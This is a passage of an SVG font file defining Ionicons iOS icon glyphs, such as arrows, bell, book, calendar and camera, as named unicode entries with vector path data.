c10 -3 20 -5 31 -7l142 142c-4 22 -10 44 -17 63c-14 37 -32 68 -56 92c-30 30 -72 53 -124 66c-10 3 -20 5 -31 7l-142 -142c4 -22 10 -44 17 -63c14 -37 32 -68 56 -92zM399 1c2 19 5 60 0 107c-1 8 -2 16 -3 23l-127 -127c25 -3 51 -5 78 -5c22 0 41 1 52 2zM259 130
l-28 -29l-12 12l29 28l-23 23l-28 -29l-12 12l29 28l-23 23l-28 -29l-12 12l29 28l-23 23l-28 -29l-12 12l29 28l-22 23l-29 -29l-11 12l67 67l12 -11l-29 -29l23 -22l28 29l12 -12l-29 -28l23 -23l28 29l12 -12l-29 -28l23 -23l28 29l12 -12l-29 -28l22 -23l29 29l12 -12
l-29 -28l22 -23l29 29l11 -12l-67 -67l-12 11l29 29z" />
    <glyph glyph-name="ion-ios-americanfootball" unicode="&#xf3cc;" horiz-adv-x="416" 
d="M331 315c112 -112 81 -327 81 -327s-26 -4 -65 -4c-73 0 -189 12 -262 85c-112 112 -81 327 -81 327s26 4 65 4c73 0 189 -12 262 -85zM20 253l3 -18l142 142l-18 3zM219 113l12 -12l28 29l23 -22l-29 -29l12 -11l67 67l-11 12l-29 -29l-22 23l29 28l-12 12l-28 -29
l-23 23l29 28l-12 12l-28 -29l-23 23l29 28l-12 12l-28 -29l-23 23l29 28l-12 12l-28 -29l-23 22l29 29l-12 11l-67 -67l11 -12l29 29l22 -23l-29 -28l12 -12l28 29l23 -23l-29 -28l12 -12l28 29l23 -23l-29 -28l12 -12l28 29l23 -23zM269 4l127 127l-3 18l-142 -142z" />
    <glyph glyph-name="ion-ios-analytics-outline" unicode="&#xf3cd;" 
d="M224 400c-28 0 -55 -5 -81 -16c-25 -10 -47 -26 -66 -45s-35 -41 -45 -66c-11 -26 -16 -53 -16 -81s5 -55 16 -81c10 -25 26 -47 45 -66s41 -35 66 -45c26 -11 53 -16 81 -16s55 5 81 16c25 10 47 26 66 45s35 41 45 66c11 26 16 53 16 81s-5 55 -16 81
c-10 25 -26 47 -45 66s-41 35 -66 45c-26 11 -53 16 -81 16zM224 416v0c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM76 128c-25 0 -41 18 -42 19c-3 3 -2 9 1 12s8 2 11 -1c1 -1 15 -17 36 -14c12 2 27 26 38 42c4 6 9 12 12 16
c17 21 34 23 45 21c24 -3 45 -28 54 -50c7 -18 18 -28 32 -29c15 -1 31 11 43 30c1 2 3 4 4 7c9 17 24 43 52 43c31 0 52 -35 53 -36c2 -4 1 -9 -3 -11s-9 -1 -11 3c0 0 -5 8 -12 15c-6 6 -16 13 -27 13c-18 0 -29 -19 -38 -35c-1 -3 -3 -5 -4 -7c-15 -25 -36 -40 -58 -38
c-20 1 -36 15 -46 39s-28 39 -41 41c-11 1 -21 -4 -31 -16c-3 -4 -6 -9 -10 -15c-14 -20 -31 -45 -50 -48c-3 0 -5 -1 -8 -1z" />
    <glyph glyph-name="ion-ios-analytics" unicode="&#xf3ce;" 
d="M224 416c124 0 224 -100 224 -224c0 -13 -1 -25 -3 -37c-1 -6 -2 -12 -3 -17c-24 -98 -113 -170 -218 -170c-122 0 -221 98 -224 219v5c0 9 1 17 2 26c13 111 107 198 222 198zM431 168c1 8 1 16 1 24c0 28 -5 55 -16 81c-10 25 -26 47 -45 66s-41 35 -66 45
c-26 11 -53 16 -81 16s-55 -5 -81 -16c-25 -10 -47 -26 -66 -45s-35 -41 -45 -66c-11 -26 -16 -53 -16 -81v0c14 -21 29 -34 29 -34h1v-1c1 -1 15 -16 36 -13c12 2 27 26 38 42c4 6 9 12 12 16c17 21 34 23 45 21c24 -3 45 -27 54 -50c7 -18 18 -28 32 -29c15 -1 31 9 43 29
c1 2 3 4 4 7c9 17 24 44 52 44c31 0 52 -35 53 -36c3 -4 9 -12 16 -20z" />
    <glyph glyph-name="ion-ios-arrow-back" unicode="&#xf3cf;" horiz-adv-x="192" 
d="M192 320l-127 -128l127 -128l-32 -32l-160 160v0v0l160 160z" />
    <glyph glyph-name="ion-ios-arrow-down" unicode="&#xf3d0;" horiz-adv-x="320" 
d="M301 288l19 -21l-160 -171l-160 171l19 21l141 -150z" />
    <glyph glyph-name="ion-ios-arrow-forward" unicode="&#xf3d1;" horiz-adv-x="192" 
d="M0 320l32 32l160 -160v0v0l-160 -160l-32 32l127 128z" />
    <glyph glyph-name="ion-ios-arrow-left" unicode="&#xf3d2;" horiz-adv-x="192" 
d="M192 333l-150 -141l150 -141l-21 -19l-171 160l171 160z" />
    <glyph glyph-name="ion-ios-arrow-right" unicode="&#xf3d3;" horiz-adv-x="192" 
d="M0 333l21 19l171 -160l-171 -160l-21 19l150 141z" />
    <glyph glyph-name="ion-ios-arrow-thin-down" unicode="&#xf3d4;" horiz-adv-x="192" 
d="M190 126c2 -2 2 -4 2 -6s0 -4 -2 -6c0 0 -87 -79 -88 -80s-3 -2 -6 -2s-5 1 -6 2s-88 80 -88 80c-3 3 -3 9 0 12s9 3 12 0l74 -67v285c0 4 4 8 8 8s8 -4 8 -8v-285l74 67c3 3 9 3 12 0z" />
    <glyph glyph-name="ion-ios-arrow-thin-left" unicode="&#xf3d5;" horiz-adv-x="320" 
d="M94 98c-2 -2 -4 -2 -6 -2s-4 0 -6 2c0 0 -79 87 -80 88s-2 3 -2 6s1 5 2 6s80 88 80 88c3 3 9 3 12 0s3 -9 0 -12l-67 -74h285c4 0 8 -4 8 -8s-4 -8 -8 -8h-285l67 -74c3 -3 3 -9 0 -12z" />
    <glyph glyph-name="ion-ios-arrow-thin-right" unicode="&#xf3d6;" horiz-adv-x="320" 
d="M226 98c-3 3 -3 9 0 12l67 74h-285c-4 0 -8 4 -8 8s4 8 8 8h285l-67 74c-3 3 -3 9 0 12s9 3 12 0c0 0 79 -87 80 -88s2 -3 2 -6s-1 -5 -2 -6s-80 -88 -80 -88c-2 -2 -4 -2 -6 -2s-4 0 -6 2z" />
    <glyph glyph-name="ion-ios-arrow-thin-up" unicode="&#xf3d7;" horiz-adv-x="192" 
d="M190 258c-3 -3 -9 -3 -12 0l-74 67v-285c0 -4 -4 -8 -8 -8s-8 4 -8 8v285l-74 -67c-3 -3 -9 -3 -12 0s-3 9 0 12c0 0 87 79 88 80s3 2 6 2s5 -1 6 -2s88 -80 88 -80c2 -2 2 -4 2 -6s0 -4 -2 -6z" />
    <glyph glyph-name="ion-ios-arrow-up" unicode="&#xf3d8;" horiz-adv-x="320" 
d="M301 96l-141 150l-141 -150l-19 21l160 171l160 -171z" />
    <glyph glyph-name="ion-ios-at-outline" unicode="&#xf3d9;" horiz-adv-x="255" 
d="M236 127v1h19l-3 -6c-3 -6 -13 -19 -22 -27s-18 -14 -28 -20s-21 -10 -32 -13s-23 -5 -34 -5c-16 0 -33 3 -49 8s-30 13 -43 24c-12 11 -26 29 -34 46c-7 16 -10 33 -10 58c0 18 4 38 11 55c7 16 17 30 29 42s27 21 43 28c15 6 33 9 53 9c16 0 32 -3 46 -8
c15 -5 28 -12 39 -22s17 -21 24 -35c6 -13 8 -26 8 -44c0 -14 -2 -28 -7 -40s-9 -20 -17 -30c-8 -9 -13 -15 -23 -21c-11 -6 -20 -9 -29 -9c-8 0 -15 2 -20 7c-3 2 -5 6 -6 9c-6 -6 -11 -10 -17 -12c-10 -3 -18 -4 -26 -4s-15 1 -21 4s-12 7 -17 12s-8 11 -11 18
s-5 14 -5 22c0 12 3 24 7 36v2c4 11 5 16 13 26c8 11 17 19 28 26s24 11 38 11c12 0 21 -3 31 -9c7 -4 12 -10 16 -16l6 17h18l-38 -102c-2 -5 -4 -10 -5 -14s-1 -7 -1 -10c0 -2 1 -4 3 -5s4 -2 8 -2c6 0 11 2 20 7c8 4 12 9 19 17c6 8 10 14 14 25s6 23 6 35
c0 15 -2 25 -7 36c-6 13 -10 22 -19 30s-20 15 -33 20s-27 7 -42 7c-19 0 -35 -3 -48 -9c-15 -6 -27 -14 -37 -24c-11 -10 -19 -23 -25 -37c-6 -15 -10 -32 -10 -48c0 -22 2 -36 8 -49c6 -15 17 -31 28 -41s24 -18 38 -23s30 -7 46 -7c10 0 20 1 30 4s18 6 27 11
s17 11 24 18s14 13 19 21zM147 154c4 5 8 12 11 20l21 57c-2 5 -4 10 -7 13c-3 4 -6 6 -10 8c-1 0 -1 1 -2 1c-3 2 -5 3 -9 4c-5 1 -9 2 -13 2c-10 0 -19 -3 -28 -9s-17 -13 -23 -22c-5 -8 -7 -11 -10 -20c0 -1 -1 -3 -1 -4c-4 -11 -5 -20 -5 -30c0 -6 1 -11 3 -16
s5 -9 8 -13s7 -6 12 -8s9 -3 15 -3c4 0 9 1 14 2c4 1 8 2 12 5s8 7 12 13z" />
    <glyph glyph-name="ion-ios-at" unicode="&#xf3da;" horiz-adv-x="256" 
d="M228 128v0h28c-1 -1 -2 -4 -3 -6c-4 -6 -14 -19 -23 -27s-18 -14 -28 -20s-20 -10 -32 -13c-11 -3 -23 -5 -34 -5c-16 0 -33 3 -49 8s-30 13 -43 24c-12 10 -26 28 -34 46c-7 16 -10 33 -10 58c0 19 4 39 11 55s17 30 29 42s28 21 44 28c15 6 32 9 52 9c16 0 31 -3 46 -8
s28 -12 39 -22s18 -22 25 -36c6 -14 8 -26 8 -44c0 -14 -2 -28 -7 -40c-4 -11 -9 -20 -17 -30c-7 -9 -14 -16 -24 -22c-12 -6 -21 -9 -30 -9s-16 2 -22 8c-2 1 -3 3 -4 5c-4 -4 -9 -6 -14 -8c-10 -3 -18 -5 -27 -5c-8 0 -16 2 -23 5s-12 7 -17 12s-9 12 -12 19s-4 14 -4 22
c0 12 2 25 6 37l1 1c4 10 5 17 13 27c8 11 17 20 28 27c12 7 24 10 38 10c12 0 22 -3 33 -9c5 -3 8 -6 12 -10l5 12h25l-39 -104c-2 -5 -3 -9 -4 -13c-1 -3 -1 -7 -1 -9s0 -3 1 -3c0 0 1 -1 5 -1c5 0 11 2 19 7c7 4 10 8 16 16s9 13 13 23s6 20 6 32c0 14 -1 24 -6 34
c-5 12 -10 21 -18 28c-9 8 -19 14 -31 18s-26 7 -40 7c-18 0 -32 -3 -44 -8c-14 -6 -25 -13 -35 -23s-18 -22 -24 -35c-6 -14 -9 -30 -9 -45c0 -21 3 -34 8 -46c6 -14 16 -30 26 -39s22 -16 35 -21c14 -5 28 -7 43 -7c10 0 20 2 29 4s18 6 26 11s28 20 38 33zM144 157
c4 5 7 12 10 19l20 55c-1 4 -3 7 -5 9c-3 3 -6 6 -9 8h-1h-1v1c-3 2 -5 2 -8 3c-4 1 -8 1 -12 1c-9 0 -17 -2 -25 -7c-10 -6 -17 -14 -21 -21c-5 -8 -6 -11 -9 -19c0 -1 -1 -2 -1 -3c-3 -10 -6 -19 -6 -28c0 -5 1 -10 3 -14s4 -8 7 -11s7 -6 11 -8s8 -2 13 -2c4 0 8 0 12 1
v0c4 1 7 2 11 5c3 2 7 5 11 11z" />
    <glyph glyph-name="ion-ios-barcode-outline" unicode="&#xf3db;" horiz-adv-x="416" 
d="M0 64v256h80v-16h-64v-224h64v-16h-80zM336 320h80v-256h-80v16h64v224h-64v16zM64 128v128h16v-128h-16zM336 128v128h16v-128h-16zM272 96v192h16v-192h-16zM128 96v192h16v-192h-16zM199 112v160h16v-160h-16z" />
    <glyph glyph-name="ion-ios-barcode" unicode="&#xf3dc;" horiz-adv-x="416" 
d="M0 320h416v-256h-416v256zM80 128v128h-16v-128h16zM144 96v192h-16v-192h16zM215 112v160h-16v-160h16zM288 96v192h-16v-192h16zM352 128v128h-16v-128h16z" />
    <glyph glyph-name="ion-ios-baseball-outline" unicode="&#xf3dd;" horiz-adv-x="416" 
d="M415 169v-1v0c-11 -97 -90 -174 -187 -183v0h-2c-2 0 -3 -1 -5 -1h-1h-3h-1h-8c-115 0 -208 93 -208 208v8v1v3v1c0 2 1 3 1 5v2v0c9 97 86 176 183 187v0v0c8 1 16 1 24 1c115 0 208 -93 208 -208c0 -7 0 -14 -1 -20v0v-3zM399 192c0 105 -86 191 -191 191
c-3 0 -5 -1 -8 -1c0 -11 2 -21 4 -31l20 6l5 -15l-21 -7c2 -7 4 -14 7 -21c2 -5 5 -11 8 -16l17 12l9 -13l-19 -13c7 -12 16 -23 26 -33l14 15l12 -12l-15 -15c11 -10 22 -18 34 -25l12 18l14 -9l-12 -17c5 -2 10 -5 15 -7c7 -3 14 -5 22 -7l7 20l15 -5l-6 -19
c10 -2 20 -4 30 -4c0 3 1 5 1 8zM17 192c0 -105 86 -191 191 -191h4c-1 9 -1 17 -3 26l-22 -7l-5 16l23 7c-2 8 -5 16 -8 24c-2 5 -4 9 -6 14l-20 -13l-9 13l21 14c-7 12 -16 24 -26 35l-17 -17l-11 11l17 17c-10 10 -22 18 -34 25l-14 -21l-14 9l14 20c-5 2 -10 5 -15 7
c-7 3 -15 6 -23 8l-8 -24l-15 5l7 23c-9 2 -18 2 -27 3v-4zM228 2c88 9 158 78 169 166c-11 1 -23 3 -34 5l-9 -27l-15 5l8 25c-14 4 -28 10 -41 17l-15 -23l-13 9l14 21c-13 8 -26 17 -37 28l-19 -19l-11 11l19 19c-10 11 -19 23 -27 36l-21 -14l-9 13l22 15
c-7 13 -12 27 -16 41l-25 -8l-5 16l26 8c-2 12 -4 23 -5 35c-88 -11 -157 -81 -166 -169c10 -1 21 -2 31 -4l8 23l15 -5l-7 -22c14 -4 28 -9 42 -16l13 19l14 -9l-13 -18c13 -8 25 -17 36 -28l17 17l11 -11l-17 -17c11 -12 20 -24 28 -37l19 13l9 -14l-20 -13
c7 -14 12 -28 16 -42l23 7l5 -15l-24 -8c2 -10 3 -20 4 -30z" />
    <glyph glyph-name="ion-ios-baseball" unicode="&#xf3de;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208c0 -8 0 -16 -1 -24v0v0c-12 -104 -100 -184 -207 -184c-115 0 -208 93 -208 208c0 107 80 195 184 207v0v0c8 1 16 1 24 1zM212 1c5 0 11 0 16 1c-1 10 -2 20 -4 30l24 8l-5 15l-23 -7c-4 14 -9 28 -16 42l20 13l-9 14l-19 -13
c-8 13 -17 25 -28 37l17 17l-11 11l-17 -17c-11 11 -23 20 -36 28l13 18l-14 9l-13 -19c-14 7 -28 12 -42 16l7 22l-15 5l-8 -23c-10 2 -21 3 -31 4c-1 -5 -1 -11 -1 -16c9 -1 18 -1 27 -3l-7 -23l15 -5l8 24c8 -2 16 -5 23 -8c5 -2 10 -5 15 -7l-14 -20l14 -9l14 21
c12 -7 24 -15 34 -25l-17 -17l11 -11l17 17c10 -11 19 -23 26 -35l-21 -14l9 -13l20 13c2 -5 4 -9 6 -14c3 -8 6 -16 8 -24l-23 -7l5 -16l22 7c2 -8 2 -17 3 -26zM363 173c11 -2 23 -4 34 -5c1 5 1 11 1 16c-10 1 -20 2 -30 4l6 19l-15 5l-7 -20c-8 2 -15 4 -22 7
c-5 2 -10 5 -15 7l12 17l-14 9l-12 -18c-12 7 -23 15 -34 25l15 15l-12 12l-15 -15c-10 10 -18 21 -25 33l19 13l-9 13l-17 -12c-3 5 -6 11 -8 16c-3 7 -5 14 -7 21l21 7l-5 15l-20 -6c-2 10 -3 20 -4 31c-5 0 -11 0 -16 -1c1 -12 3 -23 5 -35l-26 -8l5 -16l25 8
c4 -14 9 -28 16 -41l-22 -15l9 -13l21 14c8 -13 17 -25 27 -36l-19 -19l11 -11l19 19c11 -11 24 -20 37 -28l-14 -21l13 -9l15 23c13 -7 27 -13 41 -17l-8 -25l15 -5z" />
    <glyph glyph-name="ion-ios-basketball-outline" unicode="&#xf3df;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM399 192c0 55 -24 105 -62 140c-14 -34 -31 -65 -52 -95c15 -12 31 -21 49 -29c21 -9 43 -14 65 -16v0zM325 343c-32 25 -73 40 -117 40v0c2 -22 6 -44 15 -65
c10 -25 26 -47 45 -66c2 -1 2 -3 4 -4c20 29 38 60 52 93c0 1 1 1 1 2zM192 382c-51 -4 -96 -29 -128 -65c64 -28 121 -69 169 -119c11 12 21 24 30 37c-40 37 -67 89 -71 147zM233 174c-15 -16 -31 -30 -48 -44c28 -35 45 -79 47 -127c33 4 63 17 88 35
c-22 50 -51 95 -87 136zM214 178l8 8l-10 10c-46 46 -99 82 -158 108c-18 -25 -31 -55 -35 -88c62 -3 116 -31 155 -74c14 11 27 23 40 36zM18 200c0 -3 -1 -5 -1 -8c0 -45 16 -87 43 -120c36 16 71 36 102 60l-7 7c-19 19 -41 35 -66 45c-22 9 -46 15 -71 16zM71 59
c35 -36 83 -58 137 -58c3 0 5 1 8 1c-1 25 -6 48 -16 71c-7 17 -17 33 -28 47c-31 -24 -65 -45 -101 -61zM333 48c37 32 61 77 65 128c-46 3 -89 21 -123 48c-10 -13 -20 -26 -31 -38c36 -41 67 -87 89 -138z" />
    <glyph glyph-name="ion-ios-basketball" unicode="&#xf3e0;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM333 48c-22 51 -53 97 -89 138c11 12 21 25 31 38c34 -27 77 -45 123 -48c0 5 1 11 1 16c-22 2 -44 7 -65 16c-18 8 -34 17 -49 29c21 30 38 61 52 95c-4 4 -8 8 -12 11
c0 -1 -1 -1 -1 -2c-14 -33 -32 -64 -52 -93c-2 1 -2 2 -4 4c-19 19 -35 41 -45 66c-9 21 -13 43 -15 65c-5 0 -11 -1 -16 -1c4 -58 31 -110 71 -147c-9 -13 -19 -25 -30 -37c-48 50 -105 91 -169 119c-4 -4 -7 -9 -10 -13c59 -26 112 -62 158 -108l10 -10l-8 -8
c-13 -13 -26 -25 -40 -36c-39 43 -93 71 -155 74c-1 -5 -1 -11 -1 -16c25 -1 49 -7 71 -16c25 -10 47 -26 66 -45l7 -7c-31 -24 -66 -44 -102 -60c4 -4 7 -9 11 -13c36 16 70 37 101 61c11 -14 21 -30 28 -47c10 -23 15 -46 16 -71c5 0 11 0 16 1c-2 48 -19 92 -47 127
c17 14 33 28 48 44c36 -41 65 -86 87 -136c4 3 9 6 13 10z" />
    <glyph glyph-name="ion-ios-bell-outline" unicode="&#xf3e1;" horiz-adv-x="384" 
d="M318 222c0 -114 28 -126 66 -158h-384c38 32 66 44 66 158c0 98 53 130 102 138v2c0 12 11 22 24 22s24 -10 24 -22v-2c49 -7 102 -40 102 -138zM43 80h298c-25 25 -40 58 -40 142c0 46 -13 80 -37 101c-23 19 -52 23 -72 23s-49 -4 -72 -23c-25 -21 -37 -55 -37 -101
c0 -51 -5 -85 -17 -110c-6 -13 -14 -23 -23 -32zM192 0c-27 0 -49 20 -52 43h104c-3 -23 -25 -43 -52 -43z" />
    <glyph glyph-name="ion-ios-bell" unicode="&#xf3e2;" horiz-adv-x="384" 
d="M318 222c0 -114 28 -126 66 -158h-384c38 32 66 44 66 158c0 98 53 130 102 138v2c0 12 11 22 24 22s24 -10 24 -22v-2c49 -7 102 -40 102 -138zM192 0c-27 0 -49 20 -52 43h104c-3 -23 -25 -43 -52 -43z" />
    <glyph glyph-name="ion-ios-body-outline" unicode="&#xf3e3;" horiz-adv-x="384" 
d="M192 400c-18 0 -32 -14 -32 -32s14 -32 32 -32s32 14 32 32s-14 32 -32 32zM192 416v0c27 0 48 -21 48 -48s-21 -48 -48 -48s-48 21 -48 48s21 48 48 48zM360 304c13 0 24 -11 24 -24s-11 -24 -24 -24h-100c-5 0 -14 -5 -18 -15c-5 -12 -2 -33 1 -51l4 -21v-1v0l32 -172
c2 -13 -6 -26 -19 -28h-5c-11 0 -22 8 -24 20l-21 120v0s-5 31 -17 31h-2c-12 0 -19 -31 -19 -31v0l-21 -120c-2 -12 -11 -20 -22 -20h-5c-13 2 -21 15 -19 28l32 172v1l4 21c3 18 6 39 1 51c-4 10 -12 15 -18 15h-100c-13 0 -24 11 -24 24s11 24 24 24h336zM24 272
c-4 0 -8 4 -8 8s4 8 8 8h336c4 0 8 -4 8 -8s-4 -8 -8 -8h-102c-16 0 -26 -15 -30 -24c-5 -13 -6 -32 -1 -61v0v0l3 -19l1 -3l32 -172c0 -3 0 -5 -1 -6s-2 -2 -5 -3h-2c-4 0 -7 2 -8 6l-21 120v0c0 2 -2 10 -5 19c-2 6 -5 11 -8 15c-7 9 -14 11 -20 11h-2
c-5 0 -13 -2 -20 -11c-3 -4 -6 -9 -8 -15c-4 -9 -6 -17 -6 -18v-1l-21 -120c-1 -4 -3 -6 -7 -6h-2c-3 0 -4 2 -5 3s-2 3 -1 6l32 172v0v1l4 21v0v0c5 29 5 48 0 61c-4 9 -14 24 -32 24z" />
    <glyph glyph-name="ion-ios-body" unicode="&#xf3e4;" horiz-adv-x="384" 
d="M144 368c0 32 16 48 48 48s48 -16 48 -48s-16 -48 -48 -48s-48 16 -48 48zM360 304c7 0 12 -2 17 -7s7 -10 7 -17s-2 -12 -7 -17s-10 -7 -17 -7h-98c-8 -2 -15 -6 -18 -14c-4 -9 -3 -27 1 -52l4 -21v-1v0l30 -172c1 -7 0 -13 -4 -18s-8 -9 -15 -10s-13 0 -18 4
s-9 9 -10 16l-21 120v-1l-2 9c-1 5 -3 11 -6 16s-6 8 -10 8h-2c-8 0 -14 -11 -18 -33v1l-21 -120c-1 -7 -5 -12 -10 -16s-11 -5 -18 -4s-11 5 -15 10s-5 11 -4 18l30 172v0v1l4 21c4 25 5 43 1 52c-3 8 -10 12 -18 14h-98c-7 0 -12 2 -17 7s-7 10 -7 17s2 12 7 17s10 7 17 7
h336z" />
    <glyph glyph-name="ion-ios-bolt-outline" unicode="&#xf3e5;" horiz-adv-x="226" 
d="M131 316l-100 -140h65h19l-3 -19l-17 -89l100 140h-65h-19l3 19zM160 384v0l-30 -160h96l-160 -224l30 160h-96z" />
    <glyph glyph-name="ion-ios-bolt" unicode="&#xf3e6;" horiz-adv-x="226" 
d="M160 384v0l-30 -160h96l-160 -224l30 160h-96z" />
    <glyph glyph-name="ion-ios-book-outline" unicode="&#xf3e7;" horiz-adv-x="384" 
d="M284 384c55 0 100 -26 100 -79v-1v-4v-261v-17h-6h-11h-5c-17 30 -44 42 -78 42c-40 0 -74 -28 -82 -64h-20c-8 36 -42 64 -82 64c-34 0 -65 -16 -78 -42h-5h-11h-6v9v264v9v1c0 53 45 79 100 79c41 0 78 -14 92 -44c12 30 51 44 92 44zM184 37v254v13v2
c-1 43 -39 62 -84 62c-44 0 -81 -19 -84 -61v-1v0v-262h1c19 26 48 36 83 36s66 -17 84 -43zM368 300v14v1c-3 42 -40 53 -84 53c-46 0 -84 -20 -84 -64v-1v-266c18 26 49 43 84 43s66 -10 84 -36v256z" />
    <glyph glyph-name="ion-ios-book" unicode="&#xf3e8;" horiz-adv-x="384" 
d="M100 384c35 0 67 -10 84 -31v-353h-2c-8 36 -42 64 -82 64c-34 0 -65 -16 -78 -42h-5h-11h-6v9v264v9v1c0 53 45 79 100 79zM284 384c55 0 100 -26 100 -79v-1v-4v-261v-17h-6h-11h-5c-17 30 -44 42 -78 42c-40 0 -74 -28 -82 -64h-2v353c17 21 50 31 84 31z" />
    <glyph glyph-name="ion-ios-bookmarks-outline" unicode="&#xf3e9;" horiz-adv-x="418" 
d="M385 384c19 0 33 -13 33 -32v-286c0 -19 -14 -34 -33 -34h-143s-25 -4 -25 -19v-13h-8h-8v13c0 15 -11 19 -25 19h-143c-19 0 -33 15 -33 34v286c0 19 14 32 33 32h150c10 0 20 -5 26 -12v0v0c6 7 16 12 26 12h150zM201 37v309c0 9 -12 22 -25 22h-143
c-9 0 -16 -7 -16 -16v-286c0 -9 7 -18 16 -18h144c10 0 19 -3 24 -11zM273 368v-100l23 14l9 6l9 -6l23 -14v100h-64zM401 66v286c0 9 -7 16 -16 16h-32v-131l-48 32l-48 -32v131h-15c-13 0 -25 -13 -25 -22v-309c5 9 14 11 24 11h144c9 0 16 9 16 18z" />
    <glyph glyph-name="ion-ios-bookmarks" unicode="&#xf3ea;" horiz-adv-x="418" 
d="M296 283l-23 -15v116h64v-116l-23 15l-9 6zM385 384c19 0 33 -13 33 -32v-286c0 -19 -14 -34 -33 -34h-143s-25 -4 -25 -19v-13h-8h-8v13c0 15 -11 19 -25 19h-143c-19 0 -33 15 -33 34v286c0 19 14 32 33 32h150s18 -8 18 -15v-329l8 -6l8 6v329s10 15 18 15h22v-146
l48 32l48 -32v146h32z" />
    <glyph glyph-name="ion-ios-box-outline" unicode="&#xf3eb;" horiz-adv-x="320" 
d="M192 208h-1h-63c-9 0 -16 -7 -16 -16s7 -16 16 -16h64c9 0 16 7 16 16s-7 16 -16 16zM192 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32h-64c-18 0 -32 14 -32 32s14 32 32 32h64zM320 336v-80h-16v-208h-288v208h-16v80h320zM288 64v192h-256v-192h256zM304 272v48h-288
v-48h288z" />
    <glyph glyph-name="ion-ios-box" unicode="&#xf3ec;" horiz-adv-x="320" 
d="M16 48v192h288v-192h-288zM128 208c-9 0 -16 -7 -16 -16s7 -16 16 -16h64c9 0 16 7 16 16s-7 16 -16 16h-64zM0 336h320v-80h-16h-288h-16v80z" />
    <glyph glyph-name="ion-ios-briefcase-outline" unicode="&#xf3ed;" horiz-adv-x="416" 
d="M368 320h48v-320h-416v320h48v16h32v-16h48v30v2c0 18 10 32 29 32h99c19 0 32 -14 32 -32v-2v-30h48v16h32v-16zM144 320v0h128v0v30c0 10 -7 18 -17 18h-97c-11 0 -14 -8 -14 -18v-30zM400 16v224h-384v-224h384zM400 256v48h-32v-16h-32v16h-256v-16h-32v16h-32v-48
h384z" />
    <glyph glyph-name="ion-ios-briefcase" unicode="&#xf3ee;" horiz-adv-x="416" 
d="M48 320v16h32v-16h-32zM0 0v240h416v-240h-416zM336 320v16h32v-16h-32zM368 320h48v-64h-416v64h48v-32h32v32h48v30v2c0 18 10 32 29 32h99c19 0 32 -14 32 -32v-2v-30h48v-32h32v32zM272 320v30c0 10 -7 18 -17 18h-97c-11 0 -14 -8 -14 -18v-30v0h128v0z" />
    <glyph glyph-name="ion-ios-browsers-outline" unicode="&#xf3ef;" horiz-adv-x="384" 
d="M0 304h304v-304h-304v304zM288 16v272h-272v-272h272zM384 384v-304h-64v16h48v272h-272v-48h-16v64h304z" />
    <glyph glyph-name="ion-ios-browsers" unicode="&#xf3f0;" horiz-adv-x="384" 
d="M0 304h304v-304h-304v304zM80 384h304v-304h-64v240h-240v64z" />
    <glyph glyph-name="ion-ios-calculator-outline" unicode="&#xf3f1;" horiz-adv-x="288" 
d="M32 288v64h224v-64h-224zM48 336v-32h192v32h-192zM256 384c18 0 32 -14 32 -32v-320c0 -18 -14 -32 -32 -32h-224c-18 0 -32 14 -32 32v320c0 18 14 32 32 32h224zM272 32v320c0 9 -7 16 -16 16h-224c-9 0 -16 -7 -16 -16v-320c0 -9 7 -16 16 -16h224c9 0 16 7 16 16z
M48 208h32h16v-16h-64v64h16v-16v-32zM48 128h32h16v-16h-64v64h16v-16v-32zM48 48h32h16v-16h-64v64h16v-16v-32zM128 208h32h16v-16h-64v64h16v-16v-32zM208 208h32h16v-16h-64v64h16v-16v-32zM128 128h32h16v-16h-64v64h16v-16v-32zM128 48h32h16v-16h-64v64h16v-16v-32z
M208 48h32h16v-16h-64v144h16v-96v-32z" />
    <glyph glyph-name="ion-ios-calculator" unicode="&#xf3f2;" horiz-adv-x="288" 
d="M256 384c18 0 32 -14 32 -32v-320c0 -18 -14 -32 -32 -32h-224c-18 0 -32 14 -32 32v320c0 18 14 32 32 32h224zM248 168h-48v-128h48v128zM248 248h-48v-48h48v48zM168 88h-48v-48h48v48zM168 168h-48v-48h48v48zM168 248h-48v-48h48v48zM88 88h-48v-48h48v48zM88 168
h-48v-48h48v48zM88 248h-48v-48h48v48zM40 296h208v48h-208v-48z" />
    <glyph glyph-name="ion-ios-calendar-outline" unicode="&#xf3f3;" horiz-adv-x="384" 
d="M16 336v-64h352v64zM288 352h96v-352h-384v352h96v32h16v-32h160v32h16v-32zM368 16v240h-352v-240h352zM368 272v64h-80v-32h-16v32h-160v-32h-16v32h-80v-64h352z" />
    <glyph glyph-name="ion-ios-calendar" unicode="&#xf3f4;" horiz-adv-x="384" 
d="M0 0v256h384v-256h-384zM384 352v-80h-384v80h96v-48h16v48h160v-48h16v48h96zM96 352v32h16v-32h-16zM272 352v32h16v-32h-16z" />
    <glyph glyph-name="ion-ios-camera-outline" unicode="&#xf3f5;" horiz-adv-x="384" 
d="M354 288c18 0 30 -13 30 -31v-176c0 -18 -12 -33 -30 -33h-320c-18 0 -34 15 -34 33v176c0 18 16 31 34 31h13v16h34v-16h13c32 36 43 48 55 48h88c12 0 23 -12 55 -48h62zM368 81v176c0 9 -5 15 -14 15h-62h-7l-5 3c-3 4 -7 8 -10 11c-12 13 -20 24 -26 30
c-5 5 -7 4 -7 4h-88s-2 0 -7 -4c-6 -5 -14 -14 -25 -27c-3 -4 -7 -10 -11 -14l-5 -3h-7h-60c-9 0 -18 -7 -18 -15v-176c0 -9 9 -17 18 -17h320c8 0 14 8 14 17zM192 258c47 0 86 -38 86 -85s-39 -85 -86 -85s-86 38 -86 85s39 85 86 85zM192 104c38 0 70 31 70 69
s-32 69 -70 69s-70 -31 -70 -69s32 -69 70 -69zM288 239v17h17v-17h-17zM160 173c0 21 11 32 32 32s32 -11 32 -32s-11 -32 -32 -32s-32 11 -32 32z" />
    <glyph glyph-name="ion-ios-camera" unicode="&#xf3f6;" horiz-adv-x="384" 
